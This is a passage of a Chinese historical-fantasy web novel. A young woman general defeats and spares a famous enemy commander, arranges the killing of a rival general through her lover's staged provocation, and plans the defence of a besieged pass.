敌众我寡,她并不打算硬拼。她手里虽然兵少,将领可不差,尤其是从京城来的同窗,都急于在战场上建立功勋。 对面都是颇为威名的将军,自己这边则是无名之辈。俗话说,光脚的不怕穿鞋的。赢一阵,就算赚。 第一阵,对方先锋将军叫阵。项如蓁自请上阵,陆锦澜叮嘱道:“多加小心,打不过就撤,我和无辛给你略阵。” 项如蓁点了点头,提枪上阵。二人交手不过三招,项如蓁一枪将敌将刺于马下。 “好!”城关上顿时响起一阵鼓噪,欢声雷动。 萧衡见军师闻霁松了口气,轻声道:“赢了一阵,将军今日便算胜了。” 萧衡忙问:“那是不是可以收兵了?” 闻霁笑着摇头,“不急,咱们正赢着呢,为何要收兵?” 说话间,项如蓁又将一敌将刺死。 “太好了!”闻霁激动地拍手叫好,“来人!速速将这里的战况禀告大帅!” 项如蓁连赢三阵,晏无辛上去对她道:“你歇一会儿,让我来。” 晏无辛把项如蓁换下来,提着她的凤鸣长刀也赢下一阵。 楚易舒本来还挺害怕的,一看晏无辛都能赢?那我和她武功差不多,她能赢,我也能赢。 她立刻请战,陆锦澜便准她换下晏无辛。 楚易舒刚催马上前,见索红珠骑着一匹黑马自阵中缓缓而出。 楚易舒顿时愣住了,她自知自己不是索红珠的对手。 在掉头就走和打一下再跑之间犹豫了一下,这么多人都看着,她到底没好意思立刻逃跑。 索红珠不愧是传说中的姜国第一名将,头发都白了,满头银发却老当益壮。 一枪\刺过来,楚易舒忙用手中兵器一挡,心中顿时暗骂了一句脏话,立刻脚底抹油,拍马快溜。 陆锦澜料到她挡不住,纵马相迎。 楚易舒回头一看索红珠在追,忙大喊一声:“将军救我!” 陆锦澜急忙射出一箭,索红珠仰身一躲,箭矢命中阵前的小兵,顿时一命呜呼。 索红珠皱了皱眉,勒住马问:“你是何人?” 陆锦澜拱了拱手,“晚辈乃是嬅国镇北将军,陆锦澜。” 索红珠略一寻思,“我以为你个文人。” 陆锦澜一笑,“在下文武双全。” 索红珠点了点头,“也好,我不杀无名之辈。” 陆锦澜道:“我今日杀了你,便不再是无名之辈。” 两人说话间便战至一处,霸王红缨枪和宝石长剑撞在一处,顿时火花四溅。 萧衡紧张地屏住呼吸,眼睛都不敢眨。眼看着两人打了三十几个回合,还未分胜负,不由紧张道:“军师,您快想想办法帮帮她。” 闻霁连连摇头,“已经打到一块了,就算咱们现在敲锣,将军也未必肯回来啊。不要急不要慌,陆将军能和索红珠对战这么久,足以证明她功力深厚。若不敌,她定能及时脱身。” 其实这场仗,双方都打得心惊。 陆锦澜暗叹索红珠宝刀不老,六十岁的老将跟她一个十七八岁的小将对打,依旧敏捷从容,一招一势仍有千钧之力。 这是什么身体素质?秦良玉转世? 陆锦澜本来想着跟六十岁的老人家对阵,嗑药显得胜之不武。她以为她最近进步很大,可以稳赢。没想到一交手,双方五五开。 她现在不禁暗自后悔,吃点药好了,不然胜负还真不好说。 怪不得外界把索红珠传得那么神,她确实是位神人。老人之躯,比肩她这个开挂的。 不过,幸好她老了。陆锦澜想,只要她坚持到一百回合以后,便能多两分胜算。 与此同时,索红珠也在暗暗心惊。 她大概有十年,没有遇到过如此强劲的对手了。上一次让她感到惊讶的是宋婧骁,不过陆锦澜和宋婧骁明显不是一个路数。 陆锦澜的招数诡谲多变,让她一个见多识广的老将都暗觉应接不暇,后生可畏啊! 她记得此人是宋婧骁的儿主,又暗叹宋婧骁命好,怎么我的儿子就没能嫁给这般女儿? 双方交手超过八十回合,嬅国这边的士气高涨,仿佛已经赢了。 毕竟,还没听说当世哪个将军能和索红珠交手八十回合。 相反,姜国那边人心浮动。大家气势汹汹的杀到关前,开局就连败四镇,折损了四员大将。 索红珠为了稳定军心亲自上阵,大家原以为她转眼便可以取胜,没想到对方一员小将竟然如此能打。 难道嬅国藏龙卧虎,之前凌家军是佯装战败吗? 众人只盼着索红珠能将其打退,否则便成了陆锦澜扬名天下的垫脚石,士气也会大大的受损。 双方打到第一百零一个回合,陆锦澜感觉到索红珠出招已经开始变慢。 她瞅准时机一剑刺向她的脖颈,索红珠奋力一挡,剑尖挑落她肩上的盔甲。 双方观战人群都发出一声惊呼,陆锦澜连刺数剑,终于将索红珠击落马下。 可就在她准备取其性命时,瞥见了她隐藏在战袍下无数的伤疤。 刀伤、剑伤、枪伤……不同形状的伤痕烙印在她苍老的皮肤上,构成了一位举世闻名的大将军。 陆锦澜眸光一闪,挑起她手中的霸王红缨枪,高举手中,在山呼海啸般的欢呼声中大胜而归。 这是与姜国开战后的首胜,大胜。而且胜得惊天动地,足以青史留名。 她刚回城,闻霁万般欢喜地迎上来,“恭喜将军大捷!将军神武,我即刻就拟捷报,八百里加急送往京城,皇上必定大喜。” 陆锦澜将手中那杆霸王红缨枪交给她,“连同这个一起送到御前,免得朝中有些人不信咱们打了大胜仗。” 闻霁忙道:“可在下有一事不明,将军为何没有趁机取了索红珠的性命?” 陆锦澜道:“我已经将她刺伤,她落败马下,还被我夺了兵器。我已经赢了,何必非要取她性命?” 闻霁想了想,笑道:“难得将军如此年轻,便有博大的胸襟,是我狭隘了,我去写战报。” 晏无辛高兴道:“只要捷报一送到,咱们的封赏就在路上了。姜国人今天大败特败,我看短时间内,她们都没心思攻城了。” 项如蓁也道:“索红珠受了伤,姜国那边也许要换将。再来人,恐怕不敢叫阵了。她们直接攻城,也许胜算还大些。” 众人哈哈一笑,孙乐闻道:“你们没发现吗?这一仗打完,凌家军看你们的眼神都变了。那眼睛都发亮,跟看见战神似的。” 陆锦澜笑着点头,“没有人愿意打败仗,今日的胜利,对这里的凌家军来说,也算一雪前耻。大家还是不能放松,加固城防,防止敌人硬攻。” “是!” 一拨人领命出去,陆锦澜才发现萧衡红着眼站在门口。 晏无辛撇了撇嘴,“唉,走吧如蓁,咱俩别在这儿耽误人家诉衷肠了,咱俩到我房里喝酒庆祝。” 项如蓁迟疑了一下,“我要先回去写封家书,告诉雪卿这个好消息。” 晏无辛愣了愣,“那我呢?” “要不你也去写封信?走吧,咱们出去商量。”项如蓁将人拉走,顺便体贴地关上了门。 陆锦澜招了招手,萧衡大步跑过来,紧紧地抱住了她。 “我现在知道你为什么看不上我了。” “嗯?” “你有通天彻地的本事,自然不会将我的喜欢放在眼里。” 陆锦澜勾了勾嘴角,“又觉得自己命苦了?” 萧衡不解,陆锦澜抚过他的喉结,眼中意味深长,“我的意思是,如果你觉得命苦,我今晚可以好好怜惜你。” 萧衡脸上一热,主动吻了上去—— 作者有话说:大家是不是不爱看打仗?就快打完啦~ 第83章 当晚,小郎主把他上次没完成的步骤补足。水到渠成之后,自然是锦被翻红浪,无限缱绻。 不过陆锦澜没有给他怀孕的机会,萧衡虽然心里有些失落,但也没好意思问。 陆锦澜肯接受他,他还是很高兴的。依旧收敛着他的公子脾气,勤勤恳恳地照顾陆锦澜的衣食起居。 两日后傍晚,囚龙关城头忽然射来一封密信。 闻霁拿着信急匆匆来找陆锦澜,“将军,索红珠邀您在关外山谷密会,您去吗?” 陆锦澜接过信看了看,上面的字迹遒劲有力,应该是索红珠亲笔。 陆锦澜笑道:“去,为什么不去?衡郎,帮我拿衣服。” 萧衡犹豫地看向闻霁,闻霁忙劝道:“您再想想,万一有诈呢?” “她索红珠是当世名将,就算战败,也不至于堕落到暗设毒计,算计我一个年轻的晚辈。不客气的说,她是我的手下败将,我怕她做什么?” 陆锦澜说着拿起架上的红披风,萧衡忙道:“这件被盔甲勾破了,我还没补好呢。你等等,我给你找。” 他火速到衣柜里拿了件象牙白的,一边给她系上一边温声劝道:“你多带些人去,小心埋伏。” 陆锦澜道:“用不着。” 闻霁又劝道:“那带上项晏二位将军,好歹有个照应。” “不行,我不在城中,她们必须在城中。谁也不用跟我去,我一个人去去就回。” 陆锦澜单人单骑快马出关,不多时便到了索红珠所说的山谷。 谷中有一辆马车,旁边站着一个老仆。 陆锦澜催马过去,拱手道:“请问是索老前辈吗?” 一只苍老而有力的手掌掀开帘子,索红珠送目过来,微微一笑,“单枪匹马,这么有种?” 陆锦澜笑着下马,走到车旁,看着索红珠略显苍白的面色和身上包裹的白布,忙问:“你身体好些了吗?” 语气之寻常,不知内情的还以为她是索家哪个亲戚,来探病的。可偏偏这身上的伤,都是拜她所赐。 索红珠哼了一声,“托你的福,皮肉伤而已,已无大碍。其实,我今天约你,是因为我心里有个疑惑,想听你亲自解答。” 陆锦澜忙问:“前辈请说,但凡是可以说的,晚辈一定知无不言。” 索红珠沉声道:“我想知道,你那日为何没有取我的性命?你当时明明可以杀了我,却只取走了我的兵器。” “如你所说,杀 了我,你便不再是无名之辈。一战成名,声名大噪,只需封喉一剑,你为何没有那么做?” 陆锦澜叹了口气,“这两天,好多人都问过我这个问题,我都没有细说。但您今天亲自来问,我自然如实相告。” “是,当时我的确可以杀了你。我有杀你的能力,但我没有必须杀你的理由。” 索红珠不解,“此话怎讲?” 陆锦澜道:“第一,我不杀你,我一样名声大噪一战成名。击败索红珠和击杀索红珠并无太大的分别,因为索红珠是战神,你从无败绩,却败给了我,足够震撼世人。” “第二,你我只是立场不同,并无私人恩怨。从个人情感出发,您一身战功一身战伤,年过花甲还披甲上阵,让晚辈佩服之至,我不想杀您。” “第三,这一点是我后来想到的。我当时只带了八百人,就算我杀了您,队伍也没有冲阵的能力。反倒有可能引得姜国军队群情激愤,立刻攻城。我回头一想,幸好当时没杀您。” 索红珠哈哈大笑,“你倒实在。” 陆锦澜笑道:“我有个朋友,比我还实在,她心里想什么说什么,经常把我们吓一跳,我已经是最不实在的了。” 索红珠笑着点头,“很好,多谢你如此坦诚,了了我一桩心事。” 陆锦澜忙道:“我也有一个问题想问前辈。” 索红珠皱了皱眉,“听说你从不吃亏,看来是真的。” 陆锦澜笑道:“咱们难得一见,我也挺好奇的。您说这国与国之间,就像邻居,各过各的日子。好好地,你们姜国为何突然侵犯嬅境?您这把年纪,早已战功卓著,我不相信您是为了名而打这场仗。” “至于利,战争胜负难料。今日你赢,明日我赢。耗的是国力,苦的是百姓,何苦来哉?” 索红珠阖上双目,长叹一声,“是啊,何苦来哉。” 她沉默片刻,对陆锦澜道:“你刚刚到囚龙关,大概不知道,前些日子我一直称病,不想到前线来。不瞒你说,保家卫国,我义不容辞。就算是躺到棺材里,听说有人犯边,我也能跳出来大战一场。” “可是,这次攻打嬅国,我并不赞成。然而我国皇上连连催促,我也只好披甲上阵。没想到到此处第一战,便被你重伤。也好,我这回真的要回去养病了。” “您要走了?” “是,我要回上都了。” 陆锦澜道:“那您好好修养,有机会我去上都看您。” 她摸了摸身上,翻出了一个小白瓶。 “我这儿有几粒止痛的神药,您身上战伤那么多,阴天下雨难免疼痛,您痛的时候吃一颗,应该有用。” 她把药瓶递过去,索红珠看着她,仿佛看着什么新奇的物种,眼眶渐渐泛红。 她终于伸出手,没有去拿药瓶,反而握住了陆锦澜的手。 索红珠的手掌布满了薄茧,却极其温热,陆锦澜仿佛能感觉到她体内有蓬勃的血液在喧嚣沸腾。 “可惜了,你不是我们姜国人,不然我定要保举你为大将军。你兼具赤诚与狡诈,既有杀气也有仁心。这样的英才,当世难得。不能和你并肩而战,会成为老妇的平生憾事。” 陆锦澜动容道:“这也是我的憾事。” 索红珠拍了拍她的手背,摩挲着那只小药瓶,踌躇道:“孩子,有句话我本不该说。但我现在必须要告诉你,这仗,你是打不赢的。” 陆锦澜忙问:“为什么?” “你们嬅国出了内鬼,你怎么赢?别说赢,你能全身而退,都算你运气好。” 陆锦澜忙道:“我早料到定北侯通敌,这事儿您也知道?” 索红珠点头,“我看过她亲自写给我国皇上的信。” 陆锦澜瞬间瞪大了眼睛,“她还真敢啊?信呢?” 索红珠笑道:“当然在上都皇宫里。” 陆锦澜抿了抿唇,不知在想些什么。 索红珠又道:“我劝你不要胡思乱想,皇宫戒备森严,你还是留着你的小命,多抱几个美公子吧。” 陆锦澜一笑,“没有,我刚刚在想等战事结束了,我去上都拜访您,没想别的。” 索红珠瞪了她一眼,也在身上翻了翻。 陆锦澜忙问:“您是不是身上就有一封定北侯写的信?” “做梦!我出来打仗带那些做什么?” 索红珠翻了半天,一无所获,最后从手上褪下一枚金镶玉的戒指,“这枚指环是我的爱物,亲近的人都识得。咱们以此为信,你若到了上都,可以凭此信物来找我。” 陆锦澜双手接过,“多谢前辈,您好好养伤,希望您早日康复。” 索红珠点头道:“希望咱们还能再见,希望那时战事已经平息了。” “一定!”陆锦澜目送着马车远去,才上马回囚龙关。 快到关口时,晏无辛恰好出关相迎,见到她不由松了口气,“你回来就好了,我还以为索红珠那老太太要把你留下过夜。” 陆锦澜笑道:“她已经回姜国了,就是找我说说话而已。你急着找我,有什么事吗?” “别提了!”晏无辛叹了口气,“今日是咱们囚龙关补充粮草的日子,之前军师还担心凌信会不给咱们送。没想到,她刚刚派人把粮草送来了。” 陆锦澜:“好事啊!” 晏无辛哭笑不得,“好什么好啊?她一堆心眼子,知道咱们平常不放她的人进去。这回趁着送粮草的机会,她把她的心腹征北将军严露锋给派来了。我们都不认识她,她入了关才亮明身份,我们也没法把她再撵出去了。” 陆锦澜深吸一口气,这个问题确实比较棘手。 “对方有备而来,一定是管我要那三万兵马的。但姜国换将后必有大战,我一个兵也不能给。” 晏无辛忙问:“那怎么办?你和严露锋虽然都是三品将军,但她的封号压你半头,你还没法和她硬碰硬。凌信那厮肯定是算好了,才派她来的。” 陆锦澜道:“今晚先拖着不见,等咱们商量出办法再说。” 回到关内,陆锦澜立即召集闻霁和心腹将领,一同商讨对策。 闻霁道:“我刚刚命人去通知征北将军,说今日天色已晚,陆将军军务缠身,明日再见她。” 陆锦澜吩咐道:“派人盯着她,不管她和什么人接触,都要格外留心。” 闻霁道:“将军放心,我都安排好了。大帅的亲卫假扮仆从,在她屋里伺候,一举一动都在咱们监视之中。” 陆锦澜连连点头,“如此甚好,可咱们不能只有缓兵之计,还是得想办法堵住她的 嘴。” 晏无辛道:“那可难了,除非……”她在脖子上比划了一下。 项如蓁道:“此人身为战将,却蓄意战败。将数百里国土拱手想让,取她性命她也不冤。只是这么多双眼睛看着,好好地人没了,怎么跟城内这八万凌家军解释?怎么跟北州的前将军凌信解释?怎么跟圣上解释?” 闻霁思虑片刻,“或许,我们可以找一个大家看起来都合理的理由除掉她。” 陆锦澜揉了揉额,“能找什么理由呢?咱们都不了解她,根本不知道她有什么弱点。” 晏无辛想了想,“要不我去杨凝那儿打听打听?她在凌家军中多年,应该了解严露锋的脾性。” 陆锦澜想了想,“杨凝已经完全站在咱们这边了吗?你有把握说服她吗?” 晏无辛眼珠子一转,计上心头:“我试试,一试就知道了。” * 杨凝正在擦拭兵器,晏无辛提着壶酒,唉声叹气地来找她。 “来,陪我借酒浇愁。” 杨凝忙问:“怎么了?咱们刚打了大胜仗,有什么可愁的?” 晏无辛叹了口气,“不是我自己愁,是替陆将军愁。你看见征北将军来了吧?” “看见了。” “知道她来干嘛的吗?” “干嘛的?” “自然是要回你们这三万兵马的。” 杨凝诧异道:“你上回不是说,前将军已经同意借兵了吗?” 晏无辛一愣,“是啊,那会儿……同意了,现在又反悔了呗。毕竟你们在前将军手里,一直吃败仗。陆将军一来,咱们就赢了。前将军面子上挂不住,想捣捣乱,也是可以理解的。” 杨凝气道:“理解什么理解?我不理解!多亏你们来了,不然这囚龙关此刻都成姜国的了,前将军心眼儿也太小了。” 晏无辛呵呵一笑,“谁说不是呢?姜国四十五大军,就在三十里外虎视眈眈,说不定什么时候就要攻城。守城之战,必定艰难。她这时候撤走三万兵马,这不等于釜底抽薪吗?陆将军愁得饭都吃不下,唉!我也帮不上忙。” 杨凝立刻起身,“我去劝劝陆将军。” 陆锦澜此时正拿着宋婧骁刚刚派人送来的急信,对萧衡道:“你皇姐已经派人来赎你了,你回去吧。” 萧衡一愣,“你真想让我走?” 陆锦澜道:“当然,曲国才是你的家。你留在这儿也没什么用,还不安全,赶紧跟来人回去。” 萧衡没想到她如此决绝,心头一阵酸楚,眼眶一热,伤心道:“难道你平日对我的好,都是假的吗?你一点也不在乎我?哪怕以后再也见不到我了,你也不会想我吗?” 陆锦澜正要说什么,晏无辛带着杨凝求见。 闻霁忙拉着萧衡到一旁劝道:“以后战事平息了,陆将军可以去曲国看你,你也可以到神京来啊。别难过,快回去收拾东西吧。” 陆锦澜看了眼杨凝,又看了眼她身后的晏无辛,不明所以道:“杨将军,何事?” 杨凝言辞恳切道:“我听说严将军是来要人的,陆将军,咱们大战在即,守关是场硬仗,您可千万不能让她撤走兵马啊。” 陆锦澜悄悄瞥了眼晏无辛,晏无辛摊了摊手,心说:不怪我,我陷阱刚挖一半,她便哭着喊着要跳进来。 陆锦澜瞬间了然,假意怪道:“无辛,为何要和杨将军说这些?她身份尴尬,你这不是把杨将军架在火上烤吗?” 晏无辛跟着演道:“我这人没有心眼儿,她一问我就顺嘴说了,没想那么多。” 杨凝忙道:“陆将军别怪晏将军,她不是特意告诉我的,我也没什么尴尬的。我算看明白了,这前将军根本不管咱们是胜是败,也不在乎城池丢不丢。这样的人,咱们不能顺着,得和她们对着干。” 闻霁立刻顺杆往上爬,“杨将军说的是,难得杨将军如此深明大义。可眼下严将军已经来了,咱们不想还兵,总得有个理由。” 杨凝耿直道:“要什么理由?就不还。她要把我撤到北州城,老娘就不去,但别人就不好说了。” 她说着一拍大腿,干脆道:“罢了!一不做二不休,我今晚偷偷结果了她,看她还怎么撤兵。” 屋内的人对视一眼,都彻底放了心。 项如蓁只好将刚才的话,又说了一遍。 “不行!这么多双眼睛看着,好好地人没了,你让陆将军怎么跟城内这八万凌家军解释?怎么跟北州的前将军凌信解释?怎么跟圣上解释?” 闻霁也跟着道:“就算咱们要除掉她,也得找一个正当理由。” 陆锦澜微微点头,看向杨凝,“我们都不了解严露锋,你可知道她有什么弱点?” “知道。”杨凝果断道:“凌家军的老人都知道,她好色。” “好色?”闻霁意味深长地看向陆锦澜。 第84章 陆锦澜知道她在想什么,脸色一沉,“不行,想别的计策。” 闻霁抿了抿唇,“呃,那就只有先拖着了。也许再过两天,圣上封赏的圣旨就到了。” “我估摸着会给您再往上升一升,到时候您和她平起平坐,拒不还兵,她也没办法。只是她留在城中,城内都是凌家军旧部,对咱们来说实在是个隐患。” 晏无辛又问杨凝:“严露锋还有没有别的缺点?” 杨凝挠了挠头,“我想想。” 她想了一会儿,“我想不出来了。不过她好色还不够吗?她喜欢漂亮的男人,陆将军身边不正好有一个貌美的小公子吗?难道,将军舍不得?” 陆锦澜撞上杨凝疑惑的目光,微微垂下眼眸,沉声道:“拿一个男人做文章,有违君子之道。” 杨凝肃然起敬,“将军说得是,那我再想想。对了,我有个关系要好的属下,之前给姓严的当过几年近卫,我去找她问问。” 杨凝一走,晏无辛撇着嘴往桌上一坐,怀疑地看向陆锦澜,“你心里到底怎么想的?别跟我说君子之道啊,我还不了解你?这种话骗骗杨凝得了。” 陆锦澜无奈一笑,看了眼她和项如蓁,“我本来也没想骗你们,只是不便和杨凝细说。” “萧衡对我来说比较棘手,他一心朴实的喜欢我,我本可以坦然享受他的喜欢。但你们现在让我利用他,还是利用他的男色去勾引别的女人,我于心不安,更不想问心有愧。” 项如蓁点头道:“也是,男儿家的名节多么重要?让他去做这种事,万一传出去,他还怎么嫁人?” 晏无辛忙道:“锦澜娶他不就完了吗?让他去勾引,似模似样就行了,又不真让他失身。再说,锦澜,你们一起住了这些日子,大家都默认他是你的男人了,你还不准备收了他吗?” “就算萧承英把他接回曲国,你就真打算不管他了啊?” 陆锦澜轻叹一声,“我还没想好。毕竟两国关系紧张,他身为曲国的小郎主,嫁给我,对我对他都没有好处。” “我不想卷入跟仇家纠缠不清的戏码,把他留在身边,是情非得已。和他发生关系,是情不自禁。但真要我娶他,我还得再想想。” “退一万步说,就算我以后娶他,现在让他去做这种事,让我怎么和他开口?” 屋内一时安静,沉默许久的闻霁轻声开口:“将军可以不说,我去暗示他一下。小郎主有心,自然会去做的。” 陆锦澜没吭声。 没反对就是默许,晏无辛微微点头,用口型对闻霁无声道:“去吧。” 闻霁赶往后堂,转眼便急匆匆回来,“小郎主不在房里。” 陆锦澜眉头一皱,“他是不是回曲国了?” 闻霁道:“他的包袱还在,我问了门口的卫兵,她们说不久前萧公子要了些酒菜,不知道端着去哪儿了。” 话音未落,侍卫慌乱地进来禀报,“启禀陆将军,严将军喝醉了酒,在城楼上追着你那位萧公子轻薄。属下想要阻拦,都被她呵斥了。几位将军都劝不住,您快去看看吧!” * 陆锦澜带着众人赶到的时候,严露锋正掐着萧衡的脖子把他按在柱子上,萧衡的额头上似有血迹。 陆锦澜高喊一声:“住手!” 严露锋一愣,萧衡趁机挣脱,快步扑到陆锦澜怀里。 他带着剧烈地喘息,在她耳边哽咽低语:“所有人都看见她试图轻薄你的男人,这个理由足够让陆将军冲冠一怒,对吗?” “我留在你身边是有用的,你不要……赶我走……” 陆锦澜平静地听着他的呢喃, 眼底却越来越红。手臂一沉,怀里的人彻底晕了过去。 众人紧张地看着,严露锋不悦道:“他刚才又没说他是你陆将军的男人,我怎么知道?你把人带回去吧,我走了。” 严露锋说着便要回房,忽听陆锦澜在身后冷声道:“请你留下一样东西。” 严露锋疑惑地回过头,“什么?” “命。” 陆锦澜搂着萧衡,单手拔出侍卫的腰刀。 严露锋只觉眼前寒光一闪,还未来得及反应,已然没了气息。 * 闻霁在书房里,和陆锦澜低声商议。 “给圣上奏折,将军准备怎么写?” 陆锦澜道:“我会写两道奏折,一道请罪折,让皇上看了觉得情有可原,在百官面前也能说得过去。另附一道密折,实话实说。” 闻霁稍有些担忧,“杀一个三品征北将军并非小事,咱们这是没有办法的办法,不知道皇上能否体谅。” 陆锦微微一笑,“我虽然没见过皇上,但不知为什么,我觉得我和圣上之间有种说不清道不明的默契。” “我能猜到她怎么想,她也能猜到我怎么想。我这么做,是为了大局,皇上会理解的。” “对了,外面有什么风声没有?” 闻霁忙道:“经过您与索红珠一战,将士们对您都颇为敬仰。我看,她们心里已经倒向您这边了。今日严露锋酒后乱性,大家都看见了。” “所谓夺人夫郎,不共戴天。将军无惧无畏手刃此人,将士们对您更为心折。” 陆锦澜点了点头,立刻写好了两封奏折,“着人速速送往京城。” 安排好一切,她回到了卧房。 萧衡还在昏睡着,陆锦澜坐在床上,默默出神。 她想起她让他走的时候,说了句:“你留在这儿也没什么用。” 她说这话的时候是无心的,可听者有意。 竟然让他如此急于证明自己,去主动勾引严露锋,结果把自己伤成这样。 唉。 陆锦澜握着他的手,细细地摩挲。 萧衡缓缓睁开眼,看清眼前人后,心头一阵欣喜,“将军。” 他说着便要起来,陆锦澜忙道:“别乱动,你头上有伤,好好躺着。” 萧衡老实躺回去,“事情解决了吗?” “嗯。” “太好了,总算能帮到你。” 陆锦澜摸了摸他额上的止血布,“这是怎么弄的?” 萧衡可怜道:“挣扎的时候不小心,磕到桌角了。” “还疼吗?” “疼。” “我去给你拿止痛药。” “不要止痛药。” 萧衡急忙拉住她的手,“你陪我躺一会儿,我就不痛了。” 陆锦澜无奈地勾了勾嘴角,萧衡靠在她怀里,略显苍白的面色露出兴奋的神情,“我这次是不是特别聪明?” 陆锦澜摇了摇头,抚摸着他的脸颊,否认道:“不,特别傻,你简直是傻瓜。” 萧衡冷哼一声,“我知道,你又想说你哪个哪个男人比我聪明。那又什么样?他们现在不是不在你身边吗?有本事,你找他们去啊。整天就知道嫌弃我,我到底怎么才……” 陆锦澜吻住他的唇,酸言酸语戛然而止。 唇齿间甜蜜如甜果,细细的反复的咀嚼,依然乐此不彼。 那晚她对他说:“去给你姐写封信,告诉她,你要留在我身边。” 萧衡得意一笑,“我要多加一句,‘你也希望我留在你身边’。” * 上次击退索红珠的捷报已经送抵京城,皇上喜出望外,擢升陆锦澜为从二品后将军,升项如蓁为新任镇北将军,升任晏无辛为镇东将军。 囚龙关全体将士,均赏赐半年俸禄。 过了三五日,姜国换了新的主将,新官上任三把火。刚到阵前就发起了一次攻城,不过陆锦澜早有防备,对方损失惨重,灰溜溜的撤兵。 又过了七八日,陆锦澜估摸着对方休整得差不多了。 她开了个会,提醒各部注意防范。 “我料想三日之内,姜军必定再次攻城。夜间也不能大意,巡逻队伍再多加一个班次。” 正说着,左隋之面色慌张亲自来禀报:“大事有点不好了,将军您还是赶紧来城头看看吧。” 第85章 囚龙关外十几里,正开来大批兵马。一时间马嘶人吼,激起的沙尘遮天蔽日,远看好似巨龙一般。 高亢的马蹄声仿佛让整片大地都随之震颤,闻霁凭借多年随军的经验,判断道:“来人至少有十几万。” 晏无辛不由得惊叹一声,“我的老天奶啊!姜国又增兵了?她们哪来这么多兵马?把兵马全堆在边境,她们国内还过不过了?” 陆锦澜缓缓摇头,“她们是从西侧过来的,不像是姜国的兵马。” 项如蓁用望远镜一看,“没错,打的是萧字旗号,这是曲国兵马!” 闻霁顿时眉头紧锁,“姜曲两国要一起围城?那可糟了,七十万人马,几乎是我们的十倍。莫说攻城,把囚龙关踏平也不在话下。” 陆锦澜眸中闪过一丝寒意,“下这么大血本,看来姜国和曲国都撑不住了,要和我们决一死战。小小囚龙关,区区八万人马,竟然让两国如此兴师动众,真是看得起我陆锦澜。” 闻霁忙问:“将军,咱们怎么办?” 陆锦澜冷笑一声,“莫慌,回去再说。” * 书房便是作战室,陆锦澜将地图摊在众将面前。 “这是咱们所在的位置,囚龙关北门现在陈列着姜曲两国军队,大约有七十万人马。现在是傍晚,她们正在安营扎寨,预计明早便会攻城。诸位有何良策?尽管直言。” 众人纷纷低头,项如蓁忙道:“大家不要这么消极,陆将军刚刚所说的七十万兵马是个虚数。事实上,姜国上次攻城折损了一两万人,兵力已经不足四十五万。曲国的萧承英更不可能把二十五万兵马都带过来,她至少得留五万兵守着赤州城。” 晏无辛忙道:“对对对,实际上她们加起来也就六十多万,没……没那么可怕。” 陆锦澜微微一笑,“其实,我倒觉得她们来得正好。这场战争,已经持续够久了。只要打赢这一仗,我朝边境便再无战事。诸位,快到中秋了,你们不想带着封赏,回家团圆吗?” 大家互相看了看,杨凝道:“将军,我等穿了这身军装,早就把生死置之度外了。大家不怕死,只怕战死也守不住城关。” 陆锦澜自信道:“我什么时候带你们打过败仗?我从上战场的第一天起,就没输过。失败是什么滋味?不知道。” “但我必须告诉你们,我是个非常惜命的人。但我不只爱惜自己的命,我也爱惜你们的命。大家跟着我出生入死,我便不会带着大家送死。” “敌方有援军,我们也有援军。诸位应该知道靖边大元帅是我的岳母,宋家军离此处不远,大帅必定得到了消息。我敢断言,三十万宋家军,明日必到。” 众人松了口气,脸上露出喜色。 “对啊!宋家军就在附近,宋大帅一定会率兵来援的!” “这么一来,咱们就有希望了!” 陆锦澜笑了笑,“我还没说完呢!北州城距此不到十七里,那儿有三十多万凌家军,片刻便可驰援囚龙关。” 原凌家军部将愣了一下,有人不禁提醒道:“将军,只怕……只怕凌家军不肯支援我们。” “那是以前,现在未必。凌家军的小侯君凌照人跟我们关系甚笃,她现在就在北州城,有她在,借兵马一用不是问题。是吧?无辛。” 晏无辛立刻昧着良心道:“没错,我们平常关系好到穿一条裤子。” 项如蓁暗暗看了两人一眼,没有吭声, 陆锦澜笑道:“另外再告诉大家一个好消息,我一会儿亲自去见萧承英,我已经想好了对策,至少有五分把握劝她放弃攻打囚龙关。” 众将大喜:“真的?将军真乃神人也!” “如果曲国军队撤退,此消彼长,咱们就有优势了!” 陆锦澜道:“正是,你们回去安抚好部下,加固城防。告诉大家,明日援兵必至,只要我们先守住城关,一定会打一场大胜仗。” 众将退下,屋内只剩下项如蓁、晏无辛,还有闻霁。 晏无辛急道:“我这心里乱七八糟的,你刚才说的话,到底哪句是真的?哪句是假的?我都分不清楚了。” 陆锦澜摇了摇头,“不好说,现在都是假的,但是也都有变成真的可能。” “我刚才忽然想到,我劝萧承英放弃攻打囚龙关,不如劝她帮我。如果她肯做咱们的援军,那咱们真的会赢。” 晏无辛伸手探了探她的脑门,“你是不是急糊涂了?做梦呢?人家曲国和姜国是联盟,她怎么肯当咱们的援军?” 陆锦澜拂开她的手,笑道:“你们没听过那句话吗?国家之间,没有永远的朋友,没有永远的敌人,只有永远的利益。” 项如蓁叹道:“可事发突然,你拿什么利益去说服她?还是指望另外两路援军吧。” 陆锦澜摇了摇头,“实话跟你们说,这三路援军中,最有指望的就是萧承英。只要我见到她,我就机会说服她,实在不行,我还有绝招对付她。但是另外两路……” 陆锦澜说着看向闻霁,“军师,您跟在我母帅身边多年,按照您对她的了解,她会贸然出兵来援吗?” “这……”闻霁想了想,“眼下的形势颇为严峻,按理说不该出兵。但将军您在这儿,大帅视您为自己的亲骨肉,她也许会来的。” 陆锦澜摇头道:“如果我是她,我就不会来。道理很简单,敌军是我军的数倍,宋家军战力虽强,平地作战却没有优势。敌人人数多,位置好,还是以逸待劳。” “如果母帅真把宋家军全带过来,很有可能救不了我们,还得损失惨重,甚至全军覆没。” 项如蓁皱了皱眉,“可是宋家军如果不来,还有谁能增援我们呢?就算你美梦成真,萧承英临阵转帮咱们,她手里也就二十万兵马,还是不够对抗姜国的四十万军队。” 陆锦澜道:“那就只能指望凌家军能出一份力了,不需要多,哪怕凌家军肯支援咱们十万兵马,双方人数差距不大,赢面就在咱们这边。” 晏无辛眉头紧锁,“可凌家军怎么肯支援呢?你前几天刚宰了凌信的心腹严露锋,凌信现在巴不得看咱们笑话,说不定盼着咱们死在这儿,打死她也不会出兵。” “当然,如果打死凌信有用,我就打死她。但凌信死了,凌家军也不可能听我的啊。” 陆锦澜笑道:“试试吧,我写一封求援信,你替我走一趟北州城。晓之以理动之以情,先求她,她要是不识抬举,那就威胁她。反正你看着办,出了事我担着。” 晏无辛拍胸脯保证,“放心吧!咱们囚龙关内也有八万凌家军,我就不信北州城内的凌家军,能眼睁睁看着。” “她们的战友在浴血奋战命悬一线,难道她们毫无触动吗?就算凌信不同意出兵,她手下那么多将士,就没有几个有良知有血性的?” 